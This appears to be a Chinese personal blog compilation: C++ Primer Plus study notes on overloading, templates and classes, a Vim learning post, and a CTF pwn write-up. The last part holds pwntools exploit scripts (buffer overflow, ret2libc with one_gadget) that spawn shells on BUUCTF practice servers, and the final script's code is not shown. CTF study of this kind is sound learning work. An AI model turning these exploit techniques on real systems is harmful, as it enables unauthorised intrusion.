而我们也将特性从一个类传递给另一个类的语言特性称为继承（将在后文提到）
简单来说:ofstream是从ostream派生的类，派生来当然可以继承基类的特性啦
继承的另一个特征是，基类引用可以指向派生类对象而不需要强制类型转换。结果就是可以定义一个接受基类引用作为参数的函数，调用该函数时，基类对象就可以作为参数传递了，后面我们会更详尽的学习这一方法

函数重载

函数多态是c++在c上新增的功能。我们为函数设置的默认参数让我们能够使用不同数目的函数调用同一个函数，而函数多态（函数重载）让我们能够使用多个同名的函数，它们使用不同参数列表完成相同的工作
书中举了这么个例子：

重载函数就像是有多种含义的动词。例如，Piggy小姐可以在棒球场为家乡球队助威(root), 也可以在地里种植(root)菌类作物。根据上下文可以知道在每一种情况下，root的含义是什么。同样，C++使用上下文来确定

——函数重载的关键是函数的参数列表——也称为函数特征标（function signature）
如果两个函数参数数目和类型相同，同时函数排列顺序相同，则特征标相同。变量名无关紧要，c++允许定义名称相同的函数，条件是它们特征标不同。如果参数数目/参数类型不同，特征标不同，我们看下面的print()函数

这时我们就有问题了，欸👆要是我这么定义呢：

1
2


double cube(double x);
double cube(double &x);

答案是这样会出现错误，只要一句cout<<cube(x)，后面的x会跟两个原型都匹配，编译器就无法确定要使用哪个原型了，编译器在检查函数特征标时，把类型引用和类型本身视为同一个特征标，注意把 类型引用和类型本身看作一个特征标
同时注意，特征标才可以队函数进行重载，而函数类型不可以

1
2


long gronk(int n, float m); // same signatures,
double gronk(int n, float m); // hence not allowed

以上两种是互斥的同时注意，匹配函数并不区分const和非const变量，看以下原型

1
2
3
4


void dribble(char *bits); // overloaded
void dribble(const char *cbits); // overloaded
void dabble(char *bits); // not overloaded
void drivel(const char *bits); // not overloaded

函数重载虽然看似非常迷人，但是不要滥用，仅当函数基本上执行相同的任务，但使用不同形式的数据时，才应采用函数重载。
例如使用两个重载函数代替面向字符串的left()函数

1
2


char * left (const char * str, unsigned n); // two arguments
char * left (const char * str) ;// one argument

番外：名称修饰（请自行查阅，在246页第五版）

函数模板

c++编译器实现了c++的另一个新增特性——函数模板。函数模板是通用函数描述，也就是说，它们使用泛型来定义函数，泛型可用具体类型（int或double等）替换，再将类型作为参数传递给模板
我们举个例子吧，我们定义了一个交换两个int值的函数，如果我们现在想交换两个double值，一种方法是复制原来的代码，用double替换所有的int。如要交换两个char值，可再次使用同样的技术。手工修改很麻烦甚至还可能遗漏。
那么函数模板的功能就在这里展现出来了，它可以帮助我们自动完成这一过程，可以节省时间还更可靠

第一行指出建立一个模板并命名为类型AnyType。关建字template和typename是这里必需的。另外必须使用尖括号<>，类型名可以自选（比如Any，但是注意遵守c++命名规则）
模板不会创建函数，但是告诉编译器如何定义函数。需要交换int函数时，编译器会按模板模式创建这样的函数然后用int去代替AnyType。同样，double也可以代替
而最终的函数将不会包含模板，只会包含为了程序生成的实际函数，模板使这些函数的定义更为简单和可靠

显示具体化

由于C++允许将一个结构赋给另一个结构，因此即使T是一个job结构，上述代码也适用。然而，假设只想交换 salary 和 floor 成员，而不交换 name 成员，则需要使用不同的代码，但 Swap() 的参数将保持不变（两个 job 结构的引用），因此无法使用模板重载来提供其他的代码。

但是我没看懂这块，简单来说一个函数应该是有非模板函数、模板函数和显式具体化模板函数以及重载版本。
如果有多个原型，则编译器在选择原型时，非模板版本优先于显式具体化和模板版本，而显式具体化优先于使用模板生成的版本。

编译器使用哪个函数版本

对于函数重载、函数模板和函数模板重载，C++需要（且有）一个定义良好的策略，来决定为函数调用使用哪一个函数定义，尤其是有多个参数时。这个过程称为重载解析（overloading resolution）

第1步：创建候选函数列表。其中包含与被调用函数的名称相同的函数和模板函数。
第2步：使用候选函数列表创建可行函数列表。这些都是参数数目正确的函数，为此有一个隐式转换序列，其中包括实参类型与相应的形参类型完全匹配的情况。例如，使用float参数的函数调用可以将该参数转换为double，从而与double形参匹配，而模板可以为 float生成一个实例
第3步：确定是否有最佳的可行函数。如果有，则使用它，否则该函数调用出错。

通常有以下那么个顺序：

完全匹配，但常规函数优先于模板；
提升转换（例如，char和shorts自动转换为int，float自动转换为 double）；
标准转换（例如，int转换为char，long转换为double）；
用户定义的转换，如类声明中定义的转换。如果有多个匹配的原型，那编译器将无法完成重载解析过程；如果没有最佳函数，那么编译器可能用ambiguous(二义性)这样的词语来反馈

本章总结

因为新东西多了所以总结一下
C++扩展了C语言的函数功能。通过将 inline 关键字用于函数定义，并在首次调用该函数前提供其函数定义，可以使得C++编译器将该函数视为内联函数。也就是说，编译器不是让程序跳到独立的代码段，以执行函数，而是用相应的代码替换函数调用（相当于复制进去）。只有在函数很短时才能采用内联方式。

引用变量是一种伪装指针，它允许为变量创建别名（另一个名称）。引用变量主要被用作处理结构和类对象的函数的参数。

C++原型让您能够定义参数的默认值。如果函数调用省略了相应的参数，则程序将使用默认值；如果函数调用提供了参数值，则程序将使用这个值（而不是默认值）。只能在参数列表中从右到左提供默认参数。

函数的特征标是其参数列表。程序员可以定义两个同名函数，只要其特征标不同。这被称为函数多态或函数重载。

部分习题答案

类与对象-第十章

从这一章开始写入主要内容概括

主要内容概括

过程性编程和面向对象编程；
类概念；
如何定义和实现类；
公有类访问和私有类访问；
类的数据成员；
类方法（类成员函数）；
创建和使用类对象；
类的构造函数和析构函数；
const 成员函数；
this 指针；
创建对象数组；
类作用域；
抽象数据类型。

正文

类规范通常由两个部分组成

类声明：以数据成员的方式描述数据部分，以成员函数(被称为方法)的方式描述公有接口。
类方法定义：以数据成员的方式描述数据部分，以成员函数（被称为方法）的方式描述公有接口
什么是接口

接口是一个共享框架，是两个系统（如在计算机和打印机之间或者用户或者计算机程序之间）交互时去使用。简单的举个例子吧
在使用字处理器时，我们不能直接将脑子里的想到的词传输到计算机内存中对吧，所以我们就需要有一个程序提供给我们的 交互接口 才可以在敲打键盘的时候将字符显示到屏幕上；移动鼠标也是，点击鼠标也是；
——程序接口将我们的意图转化到了存储在计算机中的具体信息

而对于类，我们说public接口，就是指使用类的程序。接口能让程序员编写与类对象交互的代码，从而让程序能够使用类对象；
我们要使用string并计算其中有多少字符时，我们不用打开对象，只需使用string类提供的size()方法，我们不能直接访问类，但是方法就是我们和string类对象之间的公共接口的组成部分

我们来看一个代码，它是Stock类的类声明（注意我们将在下面经常使用到这个Stock类，所以对类尽量记熟悉）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


// stock00.h -- Stock class interface
// version 00
#ifndef STOCK00_H_
#define STOCK00_H_
#include <string>

class Stock // class declaration
{
private:
 std::string company;
 long shares;
 double share_val;
 double total_val;
 void set_tot() { total_val = shares * share_val; }
public:
 void acquire(const std::string & co, long n, double pr);
 void buy(long num, double price);
 void sell(long num, double price);
 void update(double price);
 void show();
}; // note semicolon at the end

首先，C++关键字class指出这些代码定义一个类设计，Stock是新类的类型名，这个声明使我们能够开始声明Stock类型变量 Stock sally;Stock Solly;等等
类对象程序都可以直接访问公有部分，但只能通过公有成员函数来访问私有成员。如果要修改Stock类的shares对象，我们就只能通过其中的成员函数来访问；
公有对象就成了程序和对象的私有成员之间的桥梁，提供了对象和程序之间的接口

类设计尽可能将公有接口与实现细节分开，公有接口表示设计的抽象组件，有实现细节放在一起并将它们与抽象分开就是封装，数据隐藏（即将数据放在类的私有部分中）也是一种封装，将实现的细节隐藏在私有部分中，就像Stock类对set_got()所做的一样，封装

公有还是私有

无论类成员是数据成员还是成员函数，都可以在类的公有部分或私有部分中声明它。但由于隐藏数据是OOP主要目标之一，因此 数据项 通常放在私有部分，组成类接口的成员函数放在公有部分；否则，就无法从程序中调用这些函数

注意，我们不必在类声明中使用关键字private，因为这是类对象的默认访问控制

实现类成员函数

类描述的第二部分，为由类来声明的原型表示的成员函数提供代码。成员函数定义与常规函数定义非常相似，有函数头和函数体，也可以有返回类型和参数。但是它们还有两个特殊的特征

定义成员函数，使用作用域解析运算符::来标识函数所属类
类方法可以访问private组件

1
2
3


void Stock::update(double price){
 ...
}

如上，用作用域解析操作符指出函数所属类，update()函数是Stock类的成员，这不仅将update()标识为了一个成员函数，还意味着我们可以将另一个类成员函数也明明为update
之后 stock类的其他成员函数不必使用作用域解析操作符就可以使用update()方法，因为 同属一类

那么第一个特点：作用域解析运算符确定了方法定义对应的类的身份讲完了

类方法的第二个特点，方法可以直接访问类的私有成员，如同访问一个已经声明好的常用变量一样。例如，show( ) 方法可以使用这样的代码：

1
2
3
4
5
6
7


void Stock::show()
{
 std::cout << "Company: " << company
 << " Shares: " << shares << '\n'
 << " Share Price: $" << share_val
 << " Total Worth: $" << total_val << '\n';
}

company和shares等都是Stock类私有数据成员。在成员函数中可以访问，但是如果使用非成员函数访问数据成员就要禁止了。另外，类声明还将短小的成员函数作为内联函数在头文件中随类声明一起定义

内联函数的特殊规则要求在每个使用它们的文件中对其进行定义，确保内联定义对多文件程序中的所有文件可用，简单意义上来讲的话——把内联定义在类的头文件中

类的构造函数和析构函数

C++的目标之一就是让使用类对象像使用标准类型一样，然而，上面我们学到的部分还不能让我们像初始化int那样舒适而惬意的初始化对象，也就是像下面这样

数据部分访问状态私有了，所以我们不能直接访问数据对象，因为设计时就想到，诶我去如果数据对象公有不就违背了类的主要初衷了嘛？
一般来说，最好在创建对象时初始化

gift的company的值开始时是没有的，所以为了避开这种问题，最好就是在创建对象时自动对它初始化。为此，C++就提供了一个特殊的成员函数——类构造函数来专门用于构造新对象、并将值赋给它们的数据成员。

声明和定义构造函数

现在我们需要构造Stock的构造函数。构造函数也提供三个参数，原型如下

字符串指针——company初始化。
n和pr为shares 和share_val提供了值。
下面我们提供一种构造函数的可能定义

注意！，我们不能将类成员名称用作构造函数的参数名，

这样的话构造函数参数表示的不是类成员，而是赋给类成员的值。我想你看到这个就明白了
shares=shares;
这必然会导致一种混乱，如果想取用，可以加上_后缀使得不造成上面这种糗事

使用构造函数

显式调用构造函数
隐式调用构造函数

这与下面的显式调用等价

每次创建类对象（使用new动态分配内存）时，C++都使用类构造函数。下面是一个实例

1

Stock *pstock = new Stock("electrionic",18,19.0);

使用构造函数后，我们一般使用对象调用方法

默认构造函数

当我们不提供显式初始值，我们用默认构造函数来创建对象。如下

这条语句管用在，若没有提供任何构造函数，C++也为其提供默认构造函数，可能如下

正如int x;一样，创建对象但没有提供默认值
注意，如果我们提供了非默认构造函数，如Stock(const char* co,int n,double pr)但没有提供默认构造函数，那么下面的声明会出错

1

Stock stock1; // not possible with current constructor

综上，定义默认构造函数的方式有两种。

给已有构造函数的所有参数提供默认值：

1

Stock(const string &co = "Error",int n=0,double pr =0.0);

通过函数重载定义另一个没有参数的构造函数：

1

Stock();

看一个默认构造函数：

我们在设计类时，就通常应该对所有类成员做隐式初始化的默认构造函数

当我们使用上面任意一种方式创建了默认构造函数后，就可以声明对象变量了，而不需要再对它们进行显示初始化：

1
2
3


Stock first;
Stock first=Stock();
Stock *prelief = new Stock;

析构函数

析构函数，使用delete来释放构造函数使用new所分配的内存，只需在类名前加上~就是析构函数，析构函数不需要参数，原型如下：

由于不承担任何重要工作，我们可以将其编写为不执行任何操作的函数：

1
2
3


Stock::~Stock()
{
}

我们如果想看出其何时调用，可以编写提示信息

1
2
3
4


Stock::~Stock()
{
 cout<<"over,"<<company<<"!\n";
}

const成员函数

1
2


const Stock land = Stock("Kludgehorn Properties");
land.show();

我们看以上代码片段，由于C++编译器无法确保调用对象不被修改，因此第二行会被拒绝。
但是这里show()方法没有任何参数，所以我们需要一个新的语法来确保函数不修改调用对象

1

void show() const;

就可以实现
同样，函数定义开头应该

1
2
3


void stock::show() const{
 ...
}

以上面这种方式声明和定义的类函数就是const成员函数。只要类方法没有修改调用对象，就应该声明为const

小结

构造函数是一种特殊的类成员函数，在创建类对象时被调用。我们可以通过函数重载创建多个同名构造函数（控制函数特征值使函数不同）
通常来说，构造函数用于初始化类对象成员。

默认构造函数没有参数，创建对象没有进行显式初始化时我们就调用默认构造函数。如果程序中没有提供，编译器会为程序定义一个默认构造函数；否则就得自己提供默认构造函数了

对象被删除，程序调用析构函数，每个类只有一个析构函数，析构函数即在类名称前加上~ 注意，构造函数若使用new，则提供使用delete的析构函数
比如：

1
2
3
4
5
6
7
8
9


class MyClass {
private:
 int* data;
public:
 MyClass(int size) {
 data = new int[size]; // 内存分配
 }
 // 没有析构函数，内存泄漏！
};

正确实例：

1
2
3


 ~MyClass() {
 delete[] data;
 }

🎈this指针

Stock类还没有结束，到目前为止，每个类成员函数都只涉及一个对象，即调用它的对象。但有时候如果涉及到多个对象呢？我们需要使用 this 指针

如何将方法答案回传给调用的程序？例如，从show()输出我们可以知道持有的哪一支股票价格最高，但由于程序无法直接访问total_val，因此无法判断。最直接的方法是让方法返回一个引用。为此看到下例

1
2
3
4
5
6
7
8


class Stock
{
private:
 ...
 double total_val;
public:
 double total() const {return total_val;}
};

通过将该函数添加到类声明，程序可以查看一系列股票，找到价格最高的一支，
但是我们可以使用定义一个成员函数，并了解this指针的用法。
我们定义一个成员函数，查看两个Stock对象，并返回股价较高的对象的引用，实现方法时，将出现有趣的问题。

我们定义一个比较的类方法原型topval：

1

const Stock & topval(const Stock &s) const;

该函数隐式访问一个对象，显式访问另一个对象，并返回其中一个对象的引用。括号中const表示，该函数不会修改被显式访问的对象。括号后的const表示该函数不会修改被隐式访问的对象。这里返回的也是const引用

使用以上两条语句我们对两个对象比较并将股价总值较高的赋给top对象。但是这样的表示方法有些混乱，如果可以使用>运算符来直接完成，就更清晰了。同时注意，topval的实现有问题

c++通过this指针来解决这个问题，this指针指向用来调用成员函数的对象，过程中this作为隐藏参数传递给方法。函数调用stock1.topval(stock2)将this设置为了stock1对象的地址，让这个指针可用于topval()方法

是不是觉得有点抽象，实际上所有类方法都将this指针设置为调用它的对象的地址。topval()中的total_val就是this->total_val的简写，见下图

是不是发现了，简单来说就是创建调用对象后，this指针就自动生成并让我们可以使用了！

1
2
3
4
5
6
7


const Stock & Stock::topval(const Stock & s) const
{
 if (s.total_val > total_val)
 return s;
 else
 return *this;
}

对象数组

声明对象数组方法和声明标准类型数组相同

1

Stock mystuff[4];

可以用构造函数方便快捷的初始化数组元素，这种情况下每个元素都必须调用构造函数

1
2
3
4
5
6
7


/ create an array of initialized objects
 Stock stocks[4] = {
 Stock("NanoSmart", 12, 20.0),
 Stock("Boffo Objects", 200, 2.0),
 Stock("Monolithic Obelisks", 130, 3.25),
 Stock("Fleep Enterprises", 60, 6.5)
 };

可以看出以上代码使用标准格式对数组进行初始化：即括号括起的，以逗号分隔的值列表。其中，每次构造

这是一个重要的难点，我觉得不是很好理解，我建议将代码转换为C代码进行理解

例子

比如有这样一个类和相对应的对象

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


class Tofu
{
public:
int soft;
void SetSolidity(int p)
{
 soft=p;
}
};
int main()
{
Tofu qianye;
qianye.SetSolidity(80);

return 0;
}

而C语言没有class，与其相似的是结构体，我们可以这样翻译

1
2
3
4


struct Tofu
{
int soft;
};

而如果我们想要进行SetSolitity, 就需要一个可以进行Set的全局函数：

1
2
3
4


void SetSolidity(struct Tofu* this,int p)
{
 this->soft=p;
}

然后我们就可以转化了

1
2
3
4


int main(){
struct Tofu qianye;
SetSolidity(&qianye,80);
}

理解了吗？所以this就是从实例指向其中成员函数作用的对象所用的

类作用域

在类中定义的名称（如类数据成员名和类成员函数名）的作用域在 整个类，只在类中已知，所以不同类使用相同类成员名不会引起冲突。

因此，类声明或成员函数定义，可以使用未修饰成员名称，就像sell()调用set_tot()成员函数一样。要注意使用类成员名时根据上下文使用直接成员运算符.、间接成员运算符->或作用域解析运算符::

作用域->类的常量

我们或许有时候需要符号常量的作用域为类。当一个常量对于所有对象来说都是相同的，我们就需要由此创建一个由所有对象共享的常量。我们或许认为可以这样设置

1
2
3
4
5
6


class Bakery
{
private:
 const int months= 12;
 double cost[Months];
}

注意这种方式声明枚举是无效的，不会创建类数据成员，我们需要的是符号常量，因此可以使用Static

1
2
3
4
5


class Bakery {
private:
 static const int Months = 12;
 double costs[Months];
}

Months常量会和其他静态常量一起存储在一起，由此就知道，只有 一个Month常量存在，被所有Bakery对象所共享

总结

面向对象编程强调的是程序如何表示数据。使用OOP方法解决编程问题的第一步是根据它与程序之间的接口来描述数据，从而指定如何使用数据。然后，设计一个类来实现该接口。

通常，类声明分成两部分去分配到不同的文件中。

类声明（包括由函数原型表示的方法）应放到头文件中。
定义成员函数的源代码放在方法文件中。这样便将接口描述与实现细节分开了。

类是用户定义类型，对象是类的实例
每个对象都存储自己的数据，共享类的方法

欸那如果我们希望成员函数可以对多个对象进行操作的话，就可以将额外的对象作为参数传递过去了。如果需要显式引用调用对象呢，就可以使用this指针，*this就是该对象别名

使用类-第十一章

主要内容概括

运算符重载；
友元函数；
重载 << 运算符，以便用于输出；
状态成员；
使用 rand() 生成随机值；
类的自动转换和强制类型转换；
类转换函数。

C++在当今时代下的一个局限性和被人诟病的地方在于其复杂与庞大，想要学习的最好方法便是在C++程序中使用

运算符重载

允许赋予C++运算符多种含义。实际上，很多C++的运算符已经被重载过，如我们最熟悉的*，既可以用来得到存储在地址中的值; 也可以用于两个数字的乘积。

格式如下

operator op(argument-list)

在运算符为C++已有运算符的前提上，我们比如：

operator+()会重载+运算符
operator*()则重载*运算符

重载运算符可以使得代码看起来更为自然
例如有这样一个复数类：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


class Complex{
public:
 Complex(double r=0.0,double i=0.0):real(r),imag(i) {} //构造
 void diplay()const;
private:
 double real;
 double imag;
}

//之后我们可以声明
Complex a(10,20),b(5.8);

如果我们想对a,b进行加法运算，我们肯定希望使用+运算符，但是编译器不知道如何完成，我们就要使用运算符重载

1
2
3


Complex operator+(const Complex& other) const{
 return Complex(real + other.real,imag + other.imag);
}

我们再举一个更实用的例子，由于编译器可以根据操作数的数目和类型决定使用哪种加法定义。重载运算符使得代码看起来更自然。例如，将两个数组相加，通常我们要使用

1
2
3


for(int i=0;i<20;i++){
 a[i]= b[i]+c[i]; //add two array objects
}

在C++中我们就可以重载+运算符。从而达到以下语句：

1

a = b + c;

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


Array operator+(const Array& other) const{
 if(size != other.size){
 throw std::invalid_argument("Araays must be of same size of addition");
 }
 Array result(size);
 for(size_t i=0;i<size;++i){
 result.data[i] = data[i]+other.data[i];
 }
 return result;
}

类和动态内存分配-第十二章

我们在第九章就已经定义学习了简单的类并学习了构造和析构函数，接下来我们要在本章进一步探讨类的特征并设计和使用。

类继承

通过游戏和《vim实用技巧》学习vim编辑器

Tue, 18 Feb 2025 22:47:00 +0000

前言

VIM Adventures（又称VIM大冒险）是一款用于学习VIM编辑器使用的在线网页端小游戏，通过这个游戏，我们能够快速掌握VIM的一些常用的基本命令，学vim可以说这个游戏是必备的《vim》实用技巧则是一本很经典的vim学习用教材，因此

部署

由于官网的版本只有前三关免费，之后的关卡需要25美元还只有六个月使用期限，对于学生党来说简直就是灾难，所以一开始我在这里找到了可以游玩的托管项目——但是太慢了, 所以我准备部署在本地

源码构建部署

安装nodejs，具体的网上教程很多
下载项目源代码，github上因为维权大多没有了，所以我提供一个链接提取码: LAIN
进入工作目录，解压1.1.0那个版本并进入，打开CMD执行npm install
设置环境变量，在前一个目录(有.exe文件)下创建.env文件，并输入

1
2


APP_DIR=D:\vim\vim-adventures-1.1.0
PORT=80 #自己根据情况控制

运行.exe并打开127.0.0.1:80就可以本地运行了，存档的话要记得创建一个saved文件夹先才可以存档

VIM使用技巧

基本实用技巧

基础的宏指令

.会执行我们上一次的修改命令，因此也可以将其看作我们最初的一个宏，在此可以实现非常多的功能
拒绝自我重复 例如写c语言时我们常要在末尾添加;，但是我们不想每一行都通过j$.，这太麻烦了，那么我们可以使用A指令，它允许我们实现$a的功能，移动到一行末尾并进入插入模式，那么我们通过’A; j.‘就可以实现每行末尾快速添加，同样的，vim中有相当多的这样将多个指令合并成一个指令的一箭双雕指令，C S s o O等，并进入插入模式，这可以实现什么呢？
以进废退
var foo = "method("+argument1+","+argument2+")";这样一句语句在JS中并不美观，如果我们想要实现将+号变成前后有空格的样式，可以如下操作

1
2
3
4
5


f+ #f{char}会搜索并找到下一处指定字符出现的位置
s 空格 + 空格 #s删除了x我们再通过后面的方法实现了以进废进，之所以这么做是为了之后调用宏考虑
;. #;命令将会带我们来到下一个指定字符上，这样的话我们就可以轻松实现之前的操作
;.
;.

手动修改
例如一段文字中出现了多次一个单词，我们想要修改可以

1
2
3
4


* #找到单词位置
cw{word}ESC #删除单词字符并替换
n #找到下一处单词
. #重复即可

总结

我们发现在以上多个修改中，我们都通过.来实现替换或添加字符到我们想要的位置，我们将其总结为
一键移动，一键执行，这就是我们想要的.范式

普通模式

Just like a painter won’t pause with his brush on the page when he is rest,we truly need to rest 普通模式命令的强大往往来自于它可以把操作符和动作命令结合在一起。

程序员就像画家，思考、阅读、穿梭于代码之间浏览后，我们并非需要插入模式来书写一切，我们只需some gadgets，复制移动删除（并非ctrlcctrlv）就可以完成我们的作品

撤销单元切块

u会触发撤销最新一次的修改，可以是改变文档的操作，也可以是其他模式中的操作，因此我们可以控制撤销命令的 粒子度
那么多久应该修改一次插入模式呢，每一个撤销块对应一次思考过程或许是可以的，当然你也可以按照个人习惯来，但是一般来讲，如果停顿的时间长到足以质疑”我应该退出吗“，那就退出吧

构造可重复的修改

正如前一章中一样，我们想高效完成一件事情，最需要的就是效率
我们已一句The end is nigh举例，将光标放到末尾

反向删除

1
2


db #先删除从末尾光标处到本单词头部的字符
x #因为还会存在一个字符，用x删除

正向删除

1
2


b #移到单词头部
dw #dw删除整个单词

删除整个单词 daw即可——delete a word

这样看下来，虽然都是三个字符，但想必你知道如何区分最棒的语句吧，daw的话我们可以直接通过.进行多次操作，岂不美哉

何时重复，何时快速

Delete more than one word, 如果我们想要删除more than两个单词，有多种方式，d2w和2dw以及dw.都可以，而如果我们想要删除更多单词的时候，应该如何抉择? 如果我们dw加7个.，想要撤销不小心造成的错误时可以精确操作，而一次性删除的话就无法实现。 ——只在必要的时候使用次数

双剑合璧，天下无敌

即 操作符 + 动作命令 = 操作

命令	用途
c	修改
d	删除
y	复制到寄存器
g-	反转大小写
gu	转化为小写
gU	转化为大写
>	增加缩进
<	减小缩进
=	自动缩进
一条额外规则，重复指令会作用在当前行上

完美而方便的缩进规则 如果安装了textobj-entire插件，简单地执行=ae 就可以作用在整个文件上，Kana Natsuno插件则是使用=ie（windows上vscode安装自带的就是这个）当然，如果想用= 命令来执行也是可以的，执行gg=G就可以了

插入模式

即时更改错误，在插入模式下，退格键可以删除光标前的字符，我们还可以使用组合键

按键操作	用途
ctrl+w	删除前一个单词
ctrl+u	删除至行首
ctrl+h	删除前一个字符

当然，这些操作命令并不是插入模式独有的，命令行以及在bash中都可以使用它们

返回普通模式

最经典的便是ESC进行退出，当然也可以用ctrl+o，这允许我们切换到插入-普通模式

插入-普通模式：这允许我们执行一次普通模式命令后马上返回到插入模式
当前行位于窗口顶部或底部时，我们可以用zz命令重绘制屏幕，便于查看内容

在不离开插入模式的情况下，粘贴寄存器中的文本

1
2


practical Vim, by Drew Neil
Read Drew Neil's

我想将开头的Practical Vim放到文件末尾，可以按以下步骤操作

1
2
3
4


yt, #把开头复制到专用寄存器中
jA空格 #下一行到末尾，并添加空格
ctrl+r 0 # 将寄存器中文本粘贴到光标处
. ESC

随时随地做运算

例如我们需要计算六把椅子的总价，每把35元，只需将光标移动到需要位置，然后执行

1
2
3


ctrl+r
=
35*6

当然这只是最简单的计算

非常用字符插入

ctrl+v(对应数字) 如果想打倒问号，可以使用ctrl+v u00bf u对应四位十六进制

可视模式

基本就是选一块文本区域然后进行操作三种可视模式

操作字符文本
操作行文本
操作块文本

基本操作

命令	用途
v	激活面向字符的可视模式
V	激活面向行的可视模式
ctrl+v	激活面向列块的可视模式
gv❤	重复上次高亮选区
o	切换高亮选区活动端（头尾）

面向行的可视命令

1
2
3
4
5
6


def fib(n):
    a, b = 0, 1
    while a < n:
print a,
a, b = b, a+b
fib(42)

以上这个代码的缩进存在问题，我们只需要在print这行按V进入可视模式后通过>进行缩进控制即可下面用.范式操控即可，这里需要8格缩进你也可以直接2>

面向列块方式编辑表格

1
2
3
4


Chapter Page
Normal mode 15
Insert mode 31
Visual mode 44

以上这个纯文本表格，我们想在中间用管道符画竖线隔开，具体操作如下

1
2
3
4
5
6
7


先光标移动到合适位置
ctrl+v 3j #将可视位置用光标填满
x... #删除列
gv #再次选中
r| #将光标替换为管道符
yyp #快速复制粘贴一行
Vr- #用连字符-替换一行

效果如下

1
2
3
4
5


Chapter | Page
-------------------
Normal mode | 15
Insert mode | 31
Visual mode | 44

长短不一高亮块后添加文本

1
2
3


var foo = 1
var bar = 'a'
var foobar = foo + bar

以我们已经见过的JS代码片段举例还是添加分号，但是我们这次用列块操作来修改

1
2
3
4


选中到第一行的1
ctrl+vjj$ #进入列块可视后jj到第三行后$可以使范围扩大到行结尾
A;
esc

命令行模式

vim——始于vi，Ex指令如同先祖的血液，在历史的长河奔腾不息

game_pwn_sieve

Thu, 30 Jan 2025 20:48:00 +0000

[BJDCTF 2nd]r2t3 ——比较好的考察了整数溢出

我们可以表示的长度实际上还可以是 255+4~~255+7 即 259~~262

返回地址与dest距离0x11+0x4=0x15

也可以这么算

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


from pwn import *
context(log_level='debug',os='linux',arch='i386')
context.terminal=["tmux","splitw","-h"]

#io=process("./r2t3")
#gdb.attach(io)
io=remote("node5.buuoj.cn",26815)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

sh_addr=0x0804858B
payload=cyclic(0x15)+p32(sh_addr)+cyclic(262-0x15-4)
sla("name:",payload)
io.interactive()

[BJDCTF 2nd]one_gadget one_gadget工具使用下的ret2libc

保护全开本题实际上是想让我们使用one_gadget来直接获取shell

init中泄露printf的地址可以获取libc 而one_gadget列出了一系列可用execve(/bin/sh)的gadget，但是我们要注意call的时候寄存器的值是否符合限制要求(当然你也可以列举测试)

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

io=process("./one_gadget")
#io=remote("node5.buuoj.cn",28965)
elf=ELF("./one_gadget")
libc=ELF('./libc-2.29.so')
gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

ru("0x")
print_addr=int(rc(12),16)
log.success("print_addr:"+hex(print_addr))

libc_base=print_addr-libc.symbols['printf']

one_gadget=[0xe21ce,0xe21d1,0xe21d4,0xe2383,0x106ef8]
bin_sh=libc_base+one_gadget[4]
ru('Give me your one gadget:')
#pause()
sl(str(bin_sh))

io.interactive()

get_started_3dsctf_2016——后门函数特殊处理完成flag打印

保护开了NX

可栈溢出

我们需要的函数,a1,a2值符合可以输出flag，函数参数我们传入就行

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


from pwn import *
context(log_level='debug',os='linux',arch='i386')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
elf=ELF("./pwn")
libc=ELF("./libc-2.23.so")
io=remote("node5.buuoj.cn",26015)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

exit_addr=elf.symbols["exit"]
get_flag=elf.symbols["get_flag"]

payload=cyclic(56)+p32(get_flag)+p32(exit_addr)+p32(814536271)+p32(425138641)
se(payload)

io.interactive()

[OGeek2019]babyrop——截断符绕过的strncmp

main函数保护开了full relro和NX

sub_804871f

第二个函数

主函数生成一个随机数作为参数传入第一个函数，然后再执行第二个函数我们要将sub_804871f中buf[7]覆盖掉，使其尽量大，然后栈溢出执行rop 绕过:strncmp在相同时返回0，但是随机数无法判断所以我们使buf首位为’\x00' buf[7]要大于240才行

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
